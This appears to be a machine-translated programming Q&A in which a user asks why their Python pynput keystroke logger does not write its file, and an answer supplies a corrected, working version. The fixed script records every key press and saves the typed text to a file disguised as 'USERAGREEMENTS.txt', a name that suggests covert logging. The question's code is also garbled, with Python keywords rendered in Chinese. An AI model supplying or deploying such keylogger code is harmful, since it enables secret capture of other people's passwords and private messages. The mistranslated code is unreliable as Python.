写入文件功能不起作用。它不会创建或写入文件

The write file function doesn't work. It doesn't create or write into the file

导入 pynput

从 pynput.keyboard 导入密钥,监听器

计数 = 0 键 = []

def on_press(关键): 全局键,计数 keys.append(关键) 计数 +=1

print("{0} pressed".format (key))

if count >= 5
    count = 0
    write_file(keys)
    keys = []

    def write_file(keys):
        with open("USERAGREEMENTS.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'" ",")
                if k.find("space") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

"if k.find("Key.space") > 0:"

def on_press(关键): print("{0} pressed".format(key))

def on_release(关键): 如果键 == Key.esc: return错

with Listener(on_press=on_press, on_release=on_release) 作为监听器: listener.join()

你的代码中有太多感染地狱的问题所以删除后

  • 语法错误
  • 逻辑错误
  • 缩进问题
  • 删除重复的 on_press 事件

您的代码的最终工作版本如下

import pynput
from pynput.keyboard import Key, Listener

count = 0
Keys = []

def on_press(key):
    global Keys, count
    Keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 5:
        count = 0
        write_file(Keys)
        Keys = []

def write_file(keys):
    with open("USERAGREEMENTS.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)

def on_release(key):
    if key == Key.esc:
        write_file(Keys)
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()